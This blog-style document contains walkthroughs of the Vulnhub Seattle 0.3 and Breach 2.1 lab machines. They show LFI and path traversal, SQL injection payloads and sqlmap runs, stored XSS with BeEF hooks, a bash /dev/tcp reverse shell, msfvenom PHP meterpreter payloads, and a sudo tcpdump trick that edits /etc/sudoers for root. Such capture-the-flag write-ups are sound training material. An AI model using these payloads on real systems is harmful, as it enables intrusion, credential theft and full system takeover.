Seattle 0.3 Walk Through Part 1

This is my walk through of the Seattle 0.3 Vulnhub challenge by Holly Graceful. I did this challenge as a basic tutorial on the OWASP Top Ten web vulnerabilities that I presented to my infosec meetup group during our October 5th meeting. I performed this penetration test on level 1 and will follow up later with a post on level 2. Level 2 includes input filtering.

I began the pentest by performing nmap scans. The nmap option -sS is for a SYN scan, -A is shorthand for a few other common options and means “Enable OS detection, version detection, script scanning, and traceroute”. The -p- option is shorthand for scan all 65535 TCP ports.

root@kali:~# nmap -sS -A -p-
Starting Nmap 7.01 ( ) at 2016-10-04 05:32 EDT
Nmap scan report for
Host is up (0.00100s latency).
Not shown: 65534 filtered ports
80/tcp open  http    Apache httpd 2.4.16 ((Fedora) OpenSSL/1.0.2d-fips PHP/5.6.14)
|_http-server-header: Apache/2.4.16 (Fedora) OpenSSL/1.0.2d-fips PHP/5.6.14
|_http-title: Site doesn’t have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:28:50:62 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 – 3.19, Linux 3.2 – 4.0
Network Distance: 1 hop

A search of for this version of Apache turned up nothing. All listed vulnerabilities for OpenSSL were related to DoS or info.

An nmap UDP scan didn’t detect any open ports.

A nikto scan discovered a few interesting details.

Issue #1: Sensitive file disclosure. The /admin and /downloads directories allow directory indexes. The /info.php and /config.php files are available. The /info.php file prints the output of phpinfo() which exposes the server configuration which may come in handy. The /config.php file doesn’t output anything to the page, however we’ll circle back to that later. 😉

root@kali:~# nikto -h
– Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port: 80
+ Start Time: 2016-10-04 05:38:54 (GMT-4)
+ Server: Apache/2.4.16 (Fedora) OpenSSL/1.0.2d-fips PHP/5.6.14
+ Retrieved x-powered-by header: PHP/5.6.14
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie level created without the httponly flag
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ Uncommon header ‘content-disposition’ found, with contents: filename=”downloads”
+ /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3268: /admin/: Directory indexing found.
+ OSVDB-3092: /admin/: This might be interesting…
+ OSVDB-3268: /downloads/: Directory indexing found.
+ OSVDB-3092: /downloads/: This might be interesting…
+ Server leaks inodes via ETags, header found with file /manual/, fields: 0x2304 0x51b0c59e09040
+ OSVDB-3092: /manual/: Web server manual found.
+ /info.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ Cookie lang created without the httponly flag
+ /info.php?file= Output from the phpinfo() function was found.
+ OSVDB-5292: /info.php?file= RFI from RSnake’s list ( or from
+ 8345 requests: 0 error(s) and 25 item(s) reported on remote host
+ End Time: 2016-10-04 05:39:06 (GMT-4) (12 seconds)
+ 1 host(s) tested

The main page


A quick check for a /robots.txt file wasn’t found. The robots.txt file tells search engines which directories it shouldn’t index in the search results. This file is a good place to check for sensitive directories that a webmaster wouldn’t want to be in the search results.

I started up OWASP ZAP and configured Firefox to use the ZAP proxy for further testing.

While mousing over the links at the bottom of the page I find some interesting links. The Catalouge link points to /download.php?item=Brochure.pdf.

Issue #2: LFI (and path traversal) at /download.php?item=../../../../../etc/passwd.


This means we can also grab any other files on the system that the current user has access to. Let’s grab that config.php file I mentioned earlier. Now we have the database credentials and we can also save all of the php source code files to analyze for vulnerabilities.


Issue #3: SQL Injection, time-based blind and error-based – There were numerous SQL injection vulnerabilities in this site so I grouped them together.

Error-based SQL Injection in the cookie SessionId. I added a single quote after the cookie SessionId and found a SQL error in the response.


I visited the Vinyl page at URL /products.php?type=1. I added a single quote and was redirected back to the main index page. I though that was odd so I checked the response in ZAP.


Notice that in the lower pane, the request URL is highlighted. The “%27” at the end of the URL is URL encoding of the single quote. In the upper-right pane the response is selected. In the middle pane I’ve highlighted the SQL error that illustrates that there is a blind SQL injection present. I fed the URL to sqlmap to verify.

root@kali:~# sqlmap --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4" -u "" --level=5 --risk=3 --dbms=MYSQL


Select any product, then insert a single quote after the prod id to exploit an error-based SQL injection.


root@kali:~# sqlmap --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4" -u "" -p prod --level=5 --risk=3 --dbms=MYSQL


SQL Injection in the login form – I’m able to login with an email of, password

"' or 1=1 -- "

Issue #4: Local File Include (LFI) – The footer of each page includes a link to set the currency: GBP, EUR, or USD. The currency is set in the cookie. I selected USD at /products.php?lang=USD. Next I changed the URL to /products.php?lang=/etc/passwd and then clicked on the Vinyl page.


Another way to exploit this to get the contents of php files is to use the php://filter stream wrapper. I change the URL to /products.php?lang=php://filter/convert.base64-encode/resource=config.php, then click on the Vinyl or Clothing page and get the contents of config.php echoed to the page in base64. I copied and pasted the base64 string into a command prompt and piped it to “base64 -d” to decode.


Issue #5: User name and password enumeration – On the My Account page, the page tells you if the email or password is incorrect.

When entering an invalid email address:


When entering an invalid password:


Issue #6: Insecure Direct Object Reference – The URL /blog.php?author=1 gives us the admin email address ( which is half of the info we need to login.

Issue #7: Weak administrator password – I sent a login request from ZAP to the fuzzer and found the password was “password”. Of course I could have also used sqlmap with one of the SQL injection vulnerabilities found earlier to dump the password.


Issue #8: Stored XSS – In the blog posts there wasn’t any filtering of user input. In this example I echoed the document cookie. We could have inserted a malicious link to hook the user with BeEF or other malicious payload.


Issue #9: Hard-coded SessionId. The admin account has the same cookie SessionId value after every login. An attacker can intercept the http request using the ZAP or Burp Suite browser proxies or the Tamper Data Firefox add-on to substitute the cookie SessionID to gain admin access.

Vulnhub Breach 2.1 walkthrough

Breach has a static IP address of After changing my Kali vm IP address to the same subnet as Breach using the command “ifconfig eth0 address”, I kicked off an nmap scan.


I was expecting to see ports 80 or 443 open. All that’s really left here is ssh on port 65535. I ssh to it and see the following banner:
Since there wasn’t any “source” available as there weren’t any http/https ports open, I tried “inthesource” as the password and access was denied. Next I tried specifying “peter” as login and “inthesource” as password, and it looked like I was logged in then immediately disconnected. On a hunch I ran another nmap scan and found port 80 was now open.
Reading the source of the web page I find the following hint:
Remembering the ssh banner that mentions “stop checking your blog all day” I checked for a URL of /blog and found it.
Before attacking the blog I checked for a robots.txt file in the web root but didn’t find one. Usually I would run dirb or dirbuster to discover hidden content. I’ve been looking forward to trying a new tool, dirsearch. Unfortunately no other web directories were discovered.
I searched for BlogPHP exploits and found a persistent XSS in the new user registration field at I started up BeEF and registered a new user with a username of “<script type=text/javascript src=></script>” and waited a few minutes for it to show up in the BeEF console. BeEF tells us that the victim is using Firefox v15 which is vulnerable to the Metasploit firefox_proto_crmfrequest exploit. We can also steal the admin’s cookie which exposes the admin password md5 hash, which was easily cracked on and is “admin123”.
Unfortunately I was unable to login using those credentials. I also tried to masquerade as the admin user after sending the request to Burp Repeater and changing my cookie to admin’s stolen cookie.
Next I tested the HTTP headers for XSS and SQLi and found a blind SQL injection in the Referer field. Using the original Referer in each request the page would load in under a second. When inserting ‘+(select*from(select(sleep(20)))a)+’ the page would take 20 seconds to load.
Edit: After posting my walk through of the challenge to Vulnhub, I read through the others and also searched for existing CVE’s on BlogPHP and didn’t find any mention of this SQL injection vulnerability, although there are others in the application. I’ve submitted this vulnerability for a CVE and I’m waiting for confirmation.
Sensing that the Referer header may be responsible for unsuccessful use of the admin cookie, I sent the original request to Burp Repeater and changed the referrer URL to use No joy.
I sent the response to sqlmap “sqlmap -r req.txt –level=5 –risk=3” and confirmed SQL injection. Unfortunately I was unable to gain a foothold with it because sqlmap was unable to obtain the root user db password hash, and there weren’t any writable locations for sqlmap to drop a shell.
Let’s enumerate the database and see what secrets it holds.
The password for admin is “32admin”.
Now I’m going back to hooking the user with the XSS and Firefox exploits after getting distracted by the SQL injection vulnerability.
I configured Metasploit for the firefox_proto_crmfrequest exploit and created a new user with a username of “<iframe src=””></iframe>”.
A few minutes later:
Now let’s get a more stable shell. My attempts to get a bash reverse shell with “bash -i >& /dev/tcp/ 0>&1” fail. So let’s find out why we get disconnected immediately after ssh login: “cat /etc/ssh/sshd_config”.
It looks like whatever is in “/usr/bin/startme” is kicking us off. I create a Metasploit meterpreter reverse shell binary with msfvenom and serve it up using python SimpleHTTPServer.
I wait for the Firefox exploit to hook Peter again and I download and execute it to get a meterpreter shell.
Our stable meterpreter shell:
What’s running on
Those look like GPS coordinates. I search Google and find those are the coordinates for Houston, TX. Other users of the system include blumbergh and milton, so I try those usernames with a password of “Houston”. Username/password of milton:Houston gets me in. Another hint for “stapler”. Let’s see if we can find one.
Let’s checkout the source of /usr/local/bin/
So “mine” is the answer to the question. Let’s telnet to port 2323 again and enter “mine”.
Now we’re logged in as user milton. Let’s do some more enumeration. The first thing I check is if milton has sudo rights: “sudo -l”. Nope. Nothing interesting in milton’s .bash_history file. I checked for suid files with “find / -perm -4000 -type f 2>/dev/null” and come up emtpy. I check for any new open ports and find port 8888 is now open to the outside.
I attempted to login as admin:32admin, the credentials that I dumped earlier from the SQLi, but they didn’t work. I checked for an exploit for OSCommerce v3.0 Alpha 5 and find, a Local File Include vulnerability. I created a php reverse meterpreter to upload with the command “msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=10000 -e php/base64 > phprevshell.php”. I edited it to add “<?php ” to the beginning and ” ?>” to the end. I uploaded it to /tmp using my shell as user milton, “chmod +x phprevshell.php”, and execute it on oscommerce by visiting the URL “”.
The end (root) is in sight! I’ve seen the use of sudo to run tcpdump before and blogged about it here: I enter “echo ‘echo “blumbergh ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers’ > /tmp/.test && chmod +x /tmp/.test'” and run tcpdump with “sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root”.
The flag:
Thank you mrb3n for Breach 2.1. It was a lot of fun and very challenging.
Thank you g0tmi1k for Vulnhub has been an excellent resource for preparing for PWK/OSCP and I continue to learn from the exercises. After earning my OSCP certification I missed the challenge and exhilaration that I felt in the PWK labs, and Vulnhub has helped me to relive that.

Web application pentesting on Seattle vm

In my spare time I like to sharpen my skills by pentesting vulnerable virtual machines, usually from This is my review of “Seattle”. This wasn’t a thorough pentest of the web application, it was what I was able to knock out in a couple of hours one afternoon for fun.

I found an LFI at the URL “/details.php?prod=1&type=1&lang=USD”.

The “My Account” page is vulnerable to SQL injection. The email address must be a valid email address. It wouldn’t accept

On the Blog page, I clicked on “Admin” and arrived at this page which includes admin’s email address.

Back on the “My Account” page, I logged in with and a password of “‘ or 1=1 — “.

After multiple tests, I was able to exploit stored XSS on the site with “<a onmouseover=alert(document.cookie)>xxs link</a>”. Any requests containing SCRIPT were filtered on the blog form. OWASP has an excellent cheat sheet on XSS filter evasion at

I was able to use sqlmap to exploit SQL injection with any of the product pages, using URL “/details.php?prod=1” for example. This was a blind SQL injection vulnerability, meaning that my usual methods of manually pulling info from the database to be displayed on the page didn’t work, so I let sqlmap do the heavy lifting as blind SQL injection can be very difficult to exploit.

I pasted the hash into and found the root password. Had it not been found on crackstation I would have run it through oclhashcat which uses the GPU to run through very large password lists in a few minutes.

Game over:

This wasn’t the most difficult web app that I’ve worked through. It did provide a couple of hours of fun on an afternoon off from work.